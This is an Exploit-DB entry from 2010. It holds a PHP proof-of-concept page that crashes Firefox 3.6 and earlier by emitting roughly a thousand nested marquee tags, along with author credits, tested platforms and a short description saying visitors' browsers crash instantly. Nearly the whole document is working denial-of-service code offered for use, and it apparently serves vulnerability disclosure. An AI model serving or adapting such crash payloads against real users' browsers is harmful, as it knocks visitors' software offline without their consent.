Mozilla Firefox 3.6 - Denial of Service (2)
Author: Ale46
type: dos
platform: multiple
port:
date_added: 2010-02-26
date_updated:
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comFirefox_Setup_3.6.exe
<?php
/*
* Title: Mozilla Firefox <=3.6 - Remote Denial Of Service Exploit
* Date: 25/02/10
* Author: Ale46 - ale46[at]paranoici[dot]org
* Software Link: http://www.mozilla-europe.org/en/firefox/
* Version: 3.6 and 3.5.8 are vulnerable so I think that all versions <= 3.6 have the same issue
* Tested on: Windows 7 x32\x64 - Ubuntu 9.10 x32
* Description: visiting this php page you'll get an instant crash of Firefox
* Greetz: Gandalf
* Extra Greetz: University of Palermo and its fantastics rules for the Computer Engineering degree (how beautiful 's irony)
*/
$a = '<marquee>';
$b = '</marquee>';
for ($i=0;$i<=1000;$i++){
$a .= '<marquee>';
$b .= '</marquee>';
}
echo '<body>';
echo $a;
echo "hadouken!";
echo $b;
echo '</body>';
?>